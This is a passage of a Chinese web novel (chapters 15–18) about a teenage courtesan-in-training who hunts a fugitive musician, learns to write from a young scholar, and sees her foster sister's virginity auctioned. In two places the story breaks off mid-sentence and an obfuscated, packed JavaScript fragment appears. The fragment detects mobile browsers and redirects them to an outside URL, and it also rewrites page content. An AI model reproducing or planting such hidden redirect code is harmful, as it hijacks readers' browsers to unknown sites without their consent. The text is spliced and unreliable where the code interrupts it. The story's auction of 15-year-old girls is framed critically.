杜玄渊一时没想到她要这个，他看着陈荦，竟在那目光中看到一派娼妓不该有的天真，心里一愣。 她不知道《大宴刑统》不是一册，而是共有五册，重量加起来比她怀里这包袱还重。《大宴刑统》乃是钦定律册，只有平都城几家大书坊得朝廷明令许可才能刊刻，寻常书市不许刊印，普通百姓更是难得一见。她要那律册做什么？ 陈荦看出了他的疑虑。 “这样我下回被人连累下狱时，也不至于被打得不明不白，给人送钱时也是。” “你……”杜玄渊随即说了句刻薄的话：“妓家若是识字，该看的不是乐谱、酒令吗？你既不识字，如何能读懂那繁 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杜玄渊目送着陈荦，看夕阳照着她那伶仃的背影。一时又有一丝悔意。他一时被她言语所激，将这件事透露给了她。可她是个娼妓……如果她真的把这件事泄露出去，坏了太子的计划，他定然是要亲手惩罚她的。 说到底，杜玄渊根本没觉得陈荦赤手空拳能把人找出来。 回到客栈，李棠给杜玄渊派了新的任务。迟迟找不到人，这绝不是储君想要的结果。李棠和平都城通过信，给杜玄渊安排了一个大理寺主事的身份。以大理寺主事的身份去和城中的州府交涉，再以州府的名义，便可快速将城中这一年新进的人口摸清。清查隐户，检括户口本就是各地官府常做的事情，不会在城中引起怀疑。 这是找到贼人的最好的办法。 李棠无奈地自嘲道：“子潜，想不到到最后，还是得动用孤储君这层身份。离开平都，步步艰难。我到今天才明白了。” 杜玄渊：“殿下，抓住那贼人是目的，至于用什么身份什么手段又有何打紧？何必劳神多思？” 杜玄渊这话全然透露了他不谙世事的稚嫩，可李棠也看出了三分未被磨损过的少年意气。这是十九岁的杜玄渊做事的态度，简单明了。只管行事莫问缘由，有时候也是一种难得的禀赋。不像他，凡事常常因思虑过多而掣肘。 李棠不像杜玄渊，却喜欢他这份意气。随即想到自己刚降生不久的一双儿女，便对他说：“以后，世子和郡主要多跟你在一起才好，我有时候不太希望她们学我处事。” 去岁太子妃诞下双生胎。杜玄渊在太子府中见过襁褓中的两团肉圆子。实在想不出有两个路都走不稳的小挂件老跟着自己是什么样，便一时没答话。 李棠看他一脸当真的样子十分有趣，又想起一双可爱的儿女，愁绪便消散了不少。一时不再踌躇，轻快地处理起事务。吩咐长史将苍梧境内州县长官的履历出身都找来，他要细看。 15.十五章 陈荦带着银子去县衙，得知那勒索她的衙役已被处置了。她用一百两赎出了韶音，剩余的钱还给了其他姨娘，赎回了她的紫檀筝。 韶音从牢房中出来，整个人瘦脱了一圈。她带着陈荦和清嘉去城外的庙里虔诚地拜过菩萨，捐了香火，身上这个劫才算渡了过去。 韶音离开申椒馆这么久，早就过了给保姆央告的日期。按馆里的规矩，她和陈荦都要被绳子吊起，用鞭子抽打一百下。鸨母看在清嘉的份上，给东家求情绕过了她们俩。清嘉和馆中其他几个小妓一起梳拢的日子即将来临，清嘉是这一群姑娘里出落得最出色的。鸨母看到她，火气便消下去一大半。养出这么个可以选花魁的姑娘，毕竟是韶音的功劳。 鸨母亲自带着侍女给清嘉送来几套昂贵的头面。转头却看到陈荦歪歪扭扭地站在院子里，手里拿着张破纸片出神，不知在想些什么，瞬间火气便又大了起来。好歹她还有别的事忙，只是狠狠翻了陈荦一个白眼。 等鸨母走了，韶音一把将陈荦扯过去，抢过她手里的纸片撕掉，“死楚楚，你丢魂了，没看到人家讨厌死你了！” 陈荦正在想那天杜玄渊跟她说的贼人的事，想如何把那人找出来，想得出神。 韶音看她一副神游天外的样子，伸手要剜她脑袋，终究没下得去手，只揪了揪陈荦的脸，恨铁不成钢地埋怨：“你怎么就是长不开！” 跨过年关，陈荦和清嘉便有十五岁。十五岁，该是女子长成的年纪了。比如清嘉，那身体的曲线纤秾合度，十分可人。可陈荦只往高处长，身上瘦骨嶙峋，看不出几分女人丰腴的曲线。像一株花停在了骨朵的时候，迟迟不开，等得人焦躁。 “你呀……” 在陈荦看不到的地方，韶音悄悄地叹了口气，想起了陈荦和清嘉幼时的事。 那时苍梧城来了新长官，驱逐了山匪，城中太平。一时四方客商都涌进城中做生意，苍梧城一天比一天热闹起来，城也扩得越来越大。城中各家妓馆每日客人如流，有钱的恩客们争相追捧各家花魁，妓子们的身价也随之水涨船高。为了给她们三个谋个好前途，韶音将两个养女送到舞师处学习从平都传来的飞燕舞。 要将飞燕舞跳得好看，须体态轻盈，翩翩如燕。清嘉学得极好，学了几年便顺利出师。可陈荦总是状况百出，不是扭腰摆臂像打拳一样难看，就是一脚踢破人家的手鼓。那舞师来跟韶音说，叫楚楚的小姑娘骨头太硬，腰上和肚腹肉多，学不了舞。 那怎么办？韶音一狠心，勒令陈荦不能多吃，每日两餐只给陈荦一半的量，只希望她清瘦轻盈一些，能将飞燕舞学成。那两年，陈荦吃了极大的苦头。有时饿得大哭，一张小脸肉眼可见地瘦下去，可终于还是没有学会跳舞。韶音最后没办法，让她改学筝。可她身上那些饿下去的肉，后来再怎么吃，都没有再长回来。 陈荦十五岁，还没有女人丰腴的样子，就是那两年饿伤了身体。 韶音心里偷偷难过，可说不上后悔不后悔。再来一次，她还是要逼陈荦好好学艺。她们这样的人，身、貌、才、艺必须占一样，才能在行院立足。若什么都没有，便只能任人欺凌。那是陈荦必须要学的，那是她的命。 “姨娘，我走了！” 陈荦打了声招呼，抱着她的紫檀筝准备离开，她要到蕉叶阁去。 她趁韶音不注意，将刚才撕碎的纸片捡了回来。那是她作的记号，记的是杜玄渊跟她讲的那人的体貌特征。 韶音叫住陈荦，“楚楚，等一下！” “嗯？什么事？” 韶音帮陈荦整理钻到脖颈间的碎发，用手指梳好。再捧着陈荦的脸，端视眼前这个自己养大的姑娘。她非常笃定，这姑娘就是没长开，但绝不是个容貌丑陋的。她的母亲曾是苍梧城人人追捧的花魁，她怎么可能是个丑女。 陈荦的脸清瘦得硌人，但那双看人的眼睛令人怎么也忽视不了。长眉飞挑，眼如青溪，完完全全是她母亲的样子。韶音心里想，这姑娘怎么可能是受人作践的命。 陈荦被韶音看得有些莫名，问道：“姨娘，到底什么事？” 韶音揉了揉她那没肉的脸，“没事，姨娘就是跟你说，要好好学。你得比馆里的乐师还厉害，让以后人家的筵席上都少不了你，那我就是死掉也是高兴死了。” 陈荦看她说话那么狠，只得乖乖点头：“我答应你。” ———— 陈荦比往常早到了一个时辰，师傅还没来，她先逼自己苦练了一阵。可她在学筝这件事总没有长性，练了一阵，思绪便飘到怀里的纸片上，开始想那贼人的事。等师傅来教导过一阵，师傅刚转身，陈荦便盖上筝，溜出了蕉叶阁。 她随意走近街边一家酒楼，那楼里就有人在弹箜篌。但弹奏者乃是女子，显然不是杜玄渊画像上的那个人。 苍梧城人烟稠密，城内外不知有多少家这样请了乐人表演的酒楼，还有乐馆、妓馆，朝廷的乐营，在这些地方找到一个人，谈何容易。 陈荦开始后悔那天不该在杜玄渊面前夸下海口，说十日内必来报信。现在仔细一想，是她有些太不知天高地厚了。 陈荦沿着大街一边走一边想，却发现也不是全无希望。苍梧城酒楼虽多，但只有成规模的大酒楼才请得起乐人在楼中弹奏，而这些酒楼可以数得出来。杜玄渊说那人极有可能改换了容貌。容貌可以改换，可身型和生活习性却难改。 城中像蕉叶阁这样的几家乐馆，因为韶音和筝师傅的关系，陈荦都可以混进去。她还是很有机会去接近这些人中擅长箜篌的人。 还有，陈荦突然想到，再过两日，便是初三。 苍梧城西的乐营每月初三都会举办一次琴会。那时城中的许多乐人都会到那里一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976972|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展技艺。她可以跟筝师傅一起去那里找找。 陈荦不知不觉走到杜玄渊跟她提起的源安客栈。客栈周围和院墙内都栽满了花木，显得异常幽静，在热闹的苍梧城中倒像个世外之地一般。 她站在院墙边转念一想，若是那贼人决心藏匿，找到一个极难引人注意的地方，不与外界来往，那任是谁都很难发现他的。 这么一想，陈荦的心全被沮丧占据了。她非要那见也没见过的《大宴刑统》吗？其实，她就是有些不甘心，不甘心是非黑白全出于别人口中而已…… 不出所料，接下来的几日，陈荦流连于城中乐馆，都没有找到容貌身型与那贼人相似的乐人。 等到初三那日，陈荦跟着师傅一起去了城西的乐营琴会。陈荦扮作琴童，找了个不引人注目的地方，观察每一个来往的乐人，恨不得看到走火入魔，双眼都起火。 她看了许久，突然猛地想通了一件事情。那贼人若是存心藏匿，必然不可能再在有人的地方再谈起从前所擅的箜篌了。乐工一旦将某样乐器练得炉火纯青，其指法、曲风是极易辨认的。江湖民间有异术可以改换一个人的容貌，身型也可刻意伪装。要通过身貌特征将一个乐工辨认出来，最精准的地方，绝不是容貌身型，而是……那双长年累月习练的手。 工善琴、筝、箜篌和琵琶者，手指的形状和手上的硬茧是绝然不同的。那贼人就是弃了箜篌改弹其他，手上的痕迹在三两年内也绝改变不了。 琴会散去时，陈荦在人群中看到个身型相似的背影，只不过比起杜玄渊画像上佝偻了些许。 初三琴会，席间乐工多着长衣大袖，以便山风拂过之时飘起，与音声相映衬，令人悦目。陈荦此时绝然没有机会细细辨认别人的手。 贼人从前因箜篌技艺出神入化，常出入于平都城贵人府邸。由奢入俭难，此人若真是那贼人，其住处绝不会简陋。 陈荦别了师傅，悄无声息缀在那人身后。 ———— 那人在琴会上只用营中的五弦琴奏了一小段《阳关三叠》，并未引起乐官的注意。他身后未带琴童，一路脚步轻快地穿过大半个苍梧城，往城南一条巷子走去。 绕过一处人工所凿的水渠，便是他的院子。 水渠尽头的池塘里种满了芙蕖。此时仲夏，满塘芙蕖开得正好，风吹过处一片摇曳馨香。陈荦突然有种强烈的感觉，此人将住所安到此处，必不简单！看那人进了门，她身体轻盈，没费多少力便翻到了院墙之上。 陈荦探出一个头，突然感到院中有种诡异的宁静。那人走进院子，也不自觉地停驻，好似也感到了些许不同寻常。他走到荼蘼架旁，掏出一把弩箭。还未等他再有所动作，院门处身着平民便装的兵丁破门而入，一脚踢飞了他手中的弩箭，将人制服在地上。趴在院墙上的陈荦看呆了，她……她来晚了。 16.十六章 很快，他便看到杜玄渊一身劲装进了院中，那四个兵丁是他的属下。 陈荦看得出神，手掌下的瓦片“咔嗒”一声响。 “什么人！” 身手矫健的便装兵丁一声喝，已冲到了墙边。 陈荦生怕误伤，急忙探头举手：“是我是我！” 杜玄渊没想到会在这里看到她，看她一身琴童装扮，不知从何处而来，如何会找到这里。 陈荦跳下院墙，急忙跟那拿刀的便装将士解释，她指着杜玄渊：“他认识我，我也是来找人的。” 看杜玄渊点头，将士才收起刀。 杜玄渊问：“你怎么知道他住在此处？” 陈荦：“我猜的。” 她说的是真话，杜玄渊却不信，一脸狐疑地看着她。其实杜玄渊不相信的是，陈荦凭自己一个人，哪来的本事在短短五六日间便找到此处。 陈荦走近看，那发现被抓住的那人方形脸庞，八字胡，跟画像上的人并不相似。 有个将士从怀中摸出一瓶不知什么药水，往他脸上喷洒，再用手指搓动。那人咬牙摆动，却挣开不得。片刻之后，陈荦惊讶地发现那脸上的八字胡脱落开来，腮边软泥掉落后，露出了另一张面容。 那乐工满脸悲戚，眼神里蓄着逃亡无望的颓然，恨恨地盯着地上：“杜玄渊，想不到我竟落在你手里。” 杜玄渊。陈荦心里默念，原来这人名叫杜玄渊。她不会写字，不知道这名字写在纸上长什么样子。 杜玄渊：“别废话，你非是落在我手里。你犯通敌之罪，必难逃国法。” 陈荦走到那人身后，去看他反剪在背上的双手。陈荦不是什么大家，却清楚箜篌的弹奏之法。双手擘弹，指腹拨弦。手头疾，腕头软，来去如风卷。那双过去常年弹箜篌的手，与弹筝的手是很不同的。她看仔细了，心却沉下去。 她猜对了，却来迟了。 杜玄渊将人制住，令其他将士去屋里查看有无异常。 陈荦叫他：“杜玄渊？” 看她直呼中郎将名讳，院里的将士转身不满地盯着她，不知这衣着简朴的少女是什么人。 陈荦：“人是你自己抓到的，我来晚了……我跟你说的那册子。”她心里一阵难过，“就是那个《大宴刑统》，我也没资格要了，你就当没听过那话吧。” 杜玄渊就没想过她真的能抓到人，今日在这里遇到她竟一个人找到这院中来，已让他心里暗自吃惊。她一个娼妓，怎么找到的此处，何处得的线索？ 他看到她眼眸间的神采黯淡下去，像是被那天的夕阳点起的一簇火苗，突然荷塘吹来的风吹熄了。她没生气，但抿着嘴，神色怅怅的，低头说了声“我走了”，垮出了院门。 “喂！你……” 陈荦没听到，杜玄渊也不知道跟她说什么。一册《大宴刑统》对她就那么重要？既在行院，自然有恩客常来光顾她了……她为什么不向那些恩客讨要呢？ 杜玄渊眉头高高皱起。妓馆乃污秽之地，君子慎洁，不可涉足。可此时他好像对娼妓产生了一丝不该有的好奇。 ———— 蕉叶阁后院竹林簌簌，芭蕉青翠欲滴。陈荦坐在那芭蕉丛下，眼睛看着工尺谱，却心不在焉。弹错一个音，便被师傅打一下手背，陈荦被打得双手红肿。师傅一转身，陈荦便从阁中溜了出来。 城北一片宽阔的麦田后，有个村塾。陈荦从前在申椒馆中受了气时，常常跑到这里来。村塾里有个须发全白的老夫子，每岁带着十几个孩童在这里读书。她把长发束起来，坐在窗外不远的小溪畔。听孩童整齐的读书声掺着流水潺湲，很快就能平静下来。她认得的那几个简单的字就是蹲在窗外跟着童子们学会的。 陈荦决心到学堂附近去散散心，老远就摸出丝巾，将自己齐腰的长发尽数束起。那老夫子最讨厌看到女子，若有个女子在窗外，童子们都会大受其扰。陈荦喜欢学舍和小溪，却也知道不能去找人嫌。 午后正是平日读书的时辰。然而今日，陈荦却没有听到读书声。 她转过麦田小径，踏过石板桥。透过一丛茂密的水生香蒲，意外地看到村塾里的孩童全在那上游的溪水里玩水戏耍，捉蜻蜓。老夫子不在，有个穿青衫的青年人曲肱而枕，正躺在溪头的芦苇荫里闭目养神。 那些野孩童就是此人放到小溪里的。 陈荦看得呆了。 芦苇荫处似有所感，那青年士子伸手摘开脸上的荷叶盖，半坐起身，看到陈荦正局促地在不远处站着。 “是你？”陈荦眼前一亮，急忙跟他打招呼：“陆公子。” 陆栖筠拍拍尘土坐起来：“陈荦？怎么，你来找人么？” “咦？你如何知道我名字？” “在县台大人的卷宗上看到的。”陈荦还不知道陆栖筠是陆秉绶的侄子。 “他们……”陈荦指了指溪流里那些疯打疯闹的孩子。 陆栖筠促狭一笑，“夫子年纪大了，到时间要午睡，嘱我代课，天气炎热，我将他们领出来降降躁。你别到夫子那里告状啊。” 他站在那芦荻丛下。荻花飞动，青衫落拓，神情却是一脸潇洒恣意。明明是女子，陈荦心里却油然对他生出艳羡。他原来是这么厉害的人吗？竟能代夫子教这些孩童读书。 陈荦心中歆羡，问了个傻问题：“你也读书，也像老夫子一样认得许多字吗？” 陆栖筠“噗”地一声笑了，看出了她的不谙世事。识得许多字已是他三四岁时候的事了，他自小便有过目不忘的本领，这算什么。他看陈荦一脸敬佩地看着他，便随和地点点头，没有多说。 陈荦被青溪美景和陆栖筠那平易的风度所惑，犹豫片刻走了过去，隔了一段距离坐在陆栖筠旁边。 “你这样放纵他们出来玩水，让夫子知道了，他不生气么？” 陆栖筠：“我已把今日的功课教给他们了，这么热的天气，呆坐屋中出汗才叫虚度。我们一起瞒过老夫子就好了。” “那件事，多亏了你帮我和我姨娘说话，多谢你了。” 陆栖筠复又换了个轻松的姿势躺到芦苇荫下。“不必客气，那算什么。” 他是孩童们的夫子，却竟不反感有女子来到学舍。他能看出她是城中的娼妓么？可看看陆栖筠的样子，好像并不在意她是什么人。 陈荦惊奇地发现，陆栖筠看她的眼神是第三种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陈荦轻轻“啊”地一声，随后抿嘴盯着他，似信非信。申椒馆有几十个像她和清嘉这样未长成的小妓，她从未觉得自己有什么不一样。 “你不信？”陆栖筠眉毛一挑，“那书我读过两遍，字句释义早熟悉了，我有没有记错，日后你若也有机会读那书，那时你就知道了。” 他这么厉害，陈荦相信他有过目不忘的本领。“我相信你，多谢。” 她捏起芦杆，在泥地上学着陆栖筠的样子写“陈荦”两个字。陆栖筠给她纠了两遍下笔的顺序，她便记了下来。歪歪扭扭地练了几遍，陈荦苦恼：“远远不如你写的好看……” 陆栖筠哈哈大笑，那笑声中不乏得意。“我玄趾陆氏，在前朝可是以书家著称的。你刚刚学写，哪能写出那样的字。” 他又在泥地上写出一行字。 陈荦：“这是？” 陆栖筠：“既知道了你名字，我也告诉你我的。这是我的姓名，还有表字。”他念了一遍。 陈荦跟着低声念道：“陆栖筠，字寒节。寒节。” “对。” 她虽然不懂这名字的意思，却隐约这一定是很好的意思。就像眼前这个青年一样。 17.十七章 “夫子来啦！夫子来啦！快跑！” 一方寂静被童子们喧闹的声音打断，远处出现个白发夫子的身影，小溪里玩水的人群瞬间作鸟兽散。 “快跑！”一个大些的孩童跑过来，拉起陆栖筠。“夫子拿着戒尺来了！” 陆栖筠被他拉着，回头跟陈荦说：“要多练才能记下来！” 陈荦站起来，给他行礼。“我记住了，多谢。” 陆栖筠被那孩童拉走了。隔着葱茏的草丛，陈荦远远听到学舍里传来人仰马翻的声音。有老夫子的呵斥，孩童们的惊呼，倒是没听到陆栖筠说什么。 陈荦在原地，在泥地上将自己和陆栖筠的名字写了许多遍。认字这件事比练筝简单多了。等写得差不多了，她赶紧走到溪岸，将自己裙角染上的泥迹洗去。若是被韶音知道她不好好习艺而偷偷外出，定少不了一顿骂。 “陆栖筠，字寒节。寒节。” 夕阳在山。回去的路上，陈荦将陆栖筠的名字念念叨叨，越念越高兴。她今日偷溜出来散心，想不到却行了大运，碰到难得的奇遇！ 她和陆栖筠萍水相逢，陈荦却想，若是以后还能常常在这里遇到他，便可以在心底偷偷将他视作夫子。她看着城门上方绚烂的晚霞，心里又一阵雀跃，这是她一个人的秘密。这个秘密不知不觉把她没得到《大宴刑统》的失落冲散了一些。 陆栖筠使那陆县令改判，救了她和韶音。他看起来仪度非凡，却肯平易地和一位来路不明的女子好好说话，毫无芥蒂和傲慢。陈荦许久许久没有遇到这样好的人了。 回到申椒馆，陈荦的心思还全然留在白天的事上，趁着韶音不注意，陈荦又涌手指蘸上茶水，在桌上偷偷写白天陆栖筠教的字。 原来陈荦的荦，竟然那样的意思么？如果不是陆栖筠告诉她，她这辈子都不会去想，自己的名字是什么是何由来，有何寓意。 小时候那个江湖术士，为何会以这个字给她取名呢？睡前陈荦忍不住想，陆栖筠说的话都很好，就是那一句，她是不相信的。她和申椒馆的众多小妓一样出身卑贱，看人眼色乞食，日后靠出卖身体过活，又能有什么不一样？ ———— 申椒馆虽不实行禁足，但馆中的女子外出仍是受限的。馆中没有教筝的师傅，陈荦能够外出学筝，是韶音在鸨母那里给她做的担保。因此她不能耽搁时间，一旦晚回些许时辰，便会给她们三个带来极大麻烦。 陈荦偷溜到城北村塾，每次回来都不得不小心谨慎，心虚地应付韶音。不过近日，韶音的注意力无暇放在陈荦身上。 清嘉梳拢的日子就在越来越近。此前那给了她一百两的男人，这段时间和她来往甚密。陈荦偶尔会在清嘉的脸上看到掩藏的娇羞，明眼人都能看出来，那人已经走进清嘉心里了。 韶音托人打听了，那男子姓祖，是江淮的氏族，祖上曾出过公卿。如今虽然没落，但于清嘉来说仍旧是高不可攀的门庭。那男子随族中商队西游，为了清嘉，已在苍梧城中停留了数月之久。 令她们没想到的是，就在快到梳拢的日子，他突然消失了行踪，谁都不知道他去了哪里。 韶音先是把清嘉逼问了一通，有没有跟那人发生些什么。弄清楚后就倚在门框上破口大骂，骂不辞而别，朝三暮四的负心人。 陈荦陪在清嘉旁边，一边安慰她一边听着韶音的咒骂。韶音好像在骂那孙公子，又是在骂蜀中那负了她的男人。 各屋的姨娘来来去去，时不时到屋外围观，清嘉实在挺不住，伏在陈荦肩头放声哭了起来。她不过是告诉了那人，从馆中赎出她需要多少银子而已。就这么一句话，把那一晚的荷塘风月，把什么都吓走了。 清嘉不能再哭了。若被鸨母看到她双眼红肿，定要问罪。陈荦汲来井水绞了手巾，给清嘉敷眼睛。一颗心也随之沉了下去。 清嘉这样美，这样动人，竟有人真的会爱上她后却又舍她而去吗？ 陈荦不知道的是，韶音年轻的时候，也曾有一段极美极动人的岁月。可好像，那对改变她们的命运，都没什么用。 ———— 清嘉梳拢的那日是申椒馆立夏以来最热闹的一天。 “梳拢”是前朝时的旧称。前朝苍梧城中，未破身的雏妓长发梳辫，接客后改梳髻，因此称“梳拢”。大宴百年以来，浮华之风早吹到苍梧城，是以豆蔻年华的小妓们也流行梳繁复华丽的各式发髻。“梳拢”不再是梳发的仪式，而成了妓馆聚集四方来客的盛会。 韶音五更起身，用了毕生手艺，给清嘉梳了据说是平都城皇宫中流行的牡丹髻，再仔细穿戴馆中购置好的一身昂贵的头面衣裙。装扮完毕的清嘉让陈荦都看呆了几秒。在她心中，今天的清嘉应该就是容色倾城的样子了。 申椒馆早在半月前就广撒帖子，播告盛会。巳时许，前厅内就已宾客如云。陈荦小心地帮清嘉牵着裙角，和韶音一起将她扶上申椒馆金玉所饰的高台。 清嘉和另六位女孩团扇遮面，齐齐站在万人瞩目的高台之上。梳拢仪式的第一项，是由宾客打赏“开扇钱”。团扇移开后，堂中客人才能看到的其后女子的面容。 就在清嘉移开团扇的瞬间，大堂响起一阵的高声欢呼。她是七位女子中身貌最突出的那位。 在震耳欲聋的欢呼声中，陈荦心中泛过一丝说不清的苦涩。她并非嫉妒清嘉，只是觉得清嘉和女孩们像集市上任人挑选的物品，不是堂堂正正的女人。 可是，陈荦转念一想，她们本就身为娼妓，成为什么不成为什么，能有选择么？陈荦将那泛上来的苦涩吞了下去。韶音还在身边，只要韶音高兴，她就跟着韶音高兴。 梳拢盛会一直持续到午间，宾客们出价竟买七位女孩的处子之身。鸨母将清嘉留到最后一位，引得宾客们期待不已。最终，台上铜锣敲响。有位城中的富商用三千两白银买下了清嘉的第一夜。陈荦挤在人群中，就在锣声响彻厅堂的那一刻，她分明看到一行泪水从清嘉的腮边滑落下来。 “等一等！” “清嘉姑娘！” 就在众声嘈杂之际，有个男子的声音匆匆传来。 清嘉惊慌失措地移开绣花团扇，看到挨肩迭背的人群中挤出个形容狼狈的年轻人。正是前不久失去音信的江淮士子祖方受。陈荦和韶音不明所以，急忙挤过去挡在那人面前。 那祖方受风尘仆仆，像是刚从城门突奔而来，幞头被挤得歪向了脑后。祖方受顾不得扶正幞头，他不顾拦阻爬上高台，走到东家和鸨母面前，大声说道：“我要为清嘉姑娘赎身，我要娶她为妻！” 韶音根本不信，骂骂咧咧要冲上去质问，“这些时日你做什么去了，满嘴谎话的臭男人！”她要冲上台山，被台前护卫的打手拉住。 为妓子赎身这样的事，在妓馆中并不少见。这祖方受却来得这么晚，再晚一刻钟，清嘉就要被送到那富豪的房中了。 鸨母哈 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鸨母身旁敲锣的管事大声向场内问道：“可还有与这位公子竟价者？”他连问了三遍，场中无人应答，寻常男子谁轻易出得起这令人咋舌的钱财？ “嗵——嗵——”铜锣声被重重敲响。鸨母高声向宾客宣告道：“锣响议定！我们清嘉姑娘，已由这位公子赎身啦。” 祖方受走到清嘉面前，有些忐忑地看着她：“一万两不是小数目，我，我这些天，回家里筹钱去了。清嘉，你愿意跟我走么？” 清嘉哭泣出声，顾不得在场所有宾客，扑进了祖方受双臂间。大厅内围观的宾客们见成了好事，秉着成人之美的心，有不少纷纷擂掌欢呼。 韶音死死捏着陈荦的手，待宾客散去时已是泪流满面。那脸上有悲喜交加，有不舍。陈荦默默为她擦去眼泪，怎么也擦不完。 ———— 待到陈荦以练筝的借口从馆中溜出来时，已是午后了。 她不打算去蕉叶阁，出了申椒馆，就径直往城北村舍而去。 穿过麦田小径，踏过石板桥。今日小溪中没有嬉戏的孩童，陈荦把长发束起来，听到村塾中传来朗朗的读书声。 今天是清嘉和韶音最高兴的日子，她本该与她们同喜。可她有时却忍不住想，有朝一日，也到了她梳拢的那天，应该不会有人为她一掷万金吧。她只能像清嘉身后的那六位女孩一般，用艳羡而落寞地目光注视着一切。她曾经为了两百两山穷水尽走投无路。一万两，那是陈荦想都不敢想的钱财。 教书的老夫子正摇头晃脑地听孩童们诵书。陈荦放轻了脚步，摸到学堂外的窗下，在那里坐下来。她在申椒馆的熏香中泡了一天，如同油煎火烤，到了此刻才轻松了些。 正发着呆，陈荦突然看到，对面小溪茂盛的香蒲和芦苇丛后，正有个身影向此处走过来。陆栖筠刚巧也看到了她。 陈荦心里一喜，急忙伸手到唇边，示意他不要说话。若让老夫子注意到窗外有个女子，就要出来把陈荦赶走的。 陈荦佝着身子从学堂窗下离开，到石板桥头去见陆栖筠。陆栖筠笔直地站在那里，夏日炎热，他一身青衫却让陈荦觉得如同冬雪飘散，清凉拂面。今天这个时日，她好想见到这个人。 “陆寒节！” 陆栖筠有些意外：“好几日没见你，我以为你不来了。那些字你可会写了么？” 陈荦颇为自信：“当然。” 18.十八章 陈荦从身后折下一节芦苇，在地上写她和陆栖筠的名字。 陆栖筠看了片刻。“嗯……不过我现在暂无闲暇看你的字，此时到夫子午睡的时间，我是来给夫子代课的。” 陈荦怅然，原来陆栖筠根本没有时间理她。“哦，那你去忙吧。” 陆栖筠走过小桥，回头看到陈荦站在原地。仿佛十分想跟着他一起去学堂，却不敢靠近，不禁心中一软。 “陈荦！” “嗯？” “你先在此处溪岸等一等，待夫子睡下，我便遣人来叫你。” 陈荦大喜，“好啊！可是……” 有人在学堂门口唤陆栖筠，他来不及待她说完，便快步走过去了。 溪岸微风拂面，凉爽宜人，陈荦蹲下来，用手中的芦杆在那泥地上一遍遍地练着刚学会的名字，试图将字写出陆栖筠那样漂亮的风采。 陆栖筠没有遣人来叫他。约摸半个时辰，陈荦听到学堂前一片吵嚷，一群孩童从堂中飞快跑出来，如同被放飞的笼中之鸟，笑闹着冲向小溪间。陆栖筠又瞒着老夫子把孩子们放出来了。 “太热了！” 陆栖筠慢悠悠地跟在孩子们身后走过来，手中拿着把蒲扇，一边扇一边给陈荦说。“并非我怠慢课业，只是暑热太盛，讲得太满便如同填鸭，适得其反，不如将他们放归自然。” 陈荦不知如何评价。 陆栖筠问：“你今日来学堂所为何事，又想学认字？哦，对了，这是答应送你的纸笔。”陆栖筠从袖中掏出一套文房四宝，递给陈荦。 陈荦心里大受感动，向他福礼：“多谢陆公子。” 陆栖筠挥挥手，“你不必这样客气。人生天地间，女子本该如同男子一般也可以读书明理，只是现实不是这样罢了。” 那些孩童在小溪里嬉闹，陆栖筠无事可忙，便教给陈荦新的字：天地日月，山川湖海。 回去的路上，陈荦把陆栖筠送给她的笔墨纸砚藏在了一个只有自己知道的地方。她不能将这些东西带回馆中，只能独自出来时再偷偷去取。 自那日后，陈荦又常常从蕉叶阁溜出来，到城北村塾里去找陆栖筠。若是哪天遇到他不在，她会怅然若失直到深夜。 陆栖筠教陈荦认字并不算极有耐心，但他有些意外地发现，陈荦识记的禀赋比村舍里所有孩童都高。一个字只须教过两遍，陈荦便不会再错。苍梧地大物博，钟灵毓秀，陈荦这个瘦弱的少女，是陆栖筠短暂留居苍梧期间所遇到的一个小小意外。 陈荦身上有零花钱时，她便会从城中买来芝麻胡饼、桂花甜糕、蜜饯，想带给陆栖筠吃。她无以为报，这些吃的权当感谢他教自己认字的一片善意。陆栖筠根本不爱这些街边吃食，只是浅尝几口，其余的不知不觉都进了陈荦的肚子。 七月将近时，陆栖筠告诉陈荦，他要离开苍梧了。 陈荦直到此时才知道，原来陆栖筠是县令大人陆秉绶的侄子。他自幼失怙，是陆秉绶赡养他和母亲。他将陆秉绶视同生父，此次是随叔母前来探亲的。 聊到深处，陆栖筠告诉陈荦：“我该回到玄趾家中日夜悬梁苦读，待到明年秋日，便动身进京考试。” 提起日后进京应试，陆栖筠双手负在身后，眼中闪烁出向往的光芒。他年方弱冠，心高气傲，被极高的诗书禀赋涵养出一颗睥睨天下士人的雄心。陈荦虽然不懂那是一条怎样的路，却被他眼中的光芒所动，一眨不眨地看着他。 “像你这样博学多才，竟还要悬梁苦读么？” 陈荦从怀中摸出方才买的胡饼，一时忘了递给陆栖筠，满心满脑都是他要走的消息。 陆栖筠笑笑，“陈荦，你有所不知。世间学问如同高山大河，仰之弥高，茫不可涉。我肚腹里那点积淀，算不得什么。” 他方才有踌躇满志的骄矜，此时说这话，却又有种毫不伪饰的谦逊。陆栖筠是个十足真诚的人。陈荦被他说服，只得用力地点点头。转念想到以后都不能在这里遇到陆栖筠，她心里一疼。她从此再也不会遇到他这样完美的人了。 “陈荦，我今日是来跟你告别的。” 陆栖筠看到陈荦一张脸上全是不舍，忍不住伸手捏了捏她脸颊那块莹润的肉，她好似比起在牢房中时长大了些。 陆栖筠和陈荦坐在石桥上，清澈的溪水从脚下潺潺流过。陆栖筠跟学堂的老夫子全然不同，他没有什么男女大妨的观念。他捏陈荦的脸颊，陈荦也便没有避开。 小溪不远处，有个仆人正牵着马匹，站在那里等着陆栖筠。不舍之外，陈荦突然又好羡慕陆栖筠。她羡慕他是男子，羡慕他有前路可赴，羡慕他提及日后眼中满是期许。而她，日后不过成为一名出卖身子的娼妓，韶音就是她的未来。 陈荦不知不觉淌下泪来，问陆栖筠：“有一天，我也能像你这样，认得许多字吗？” 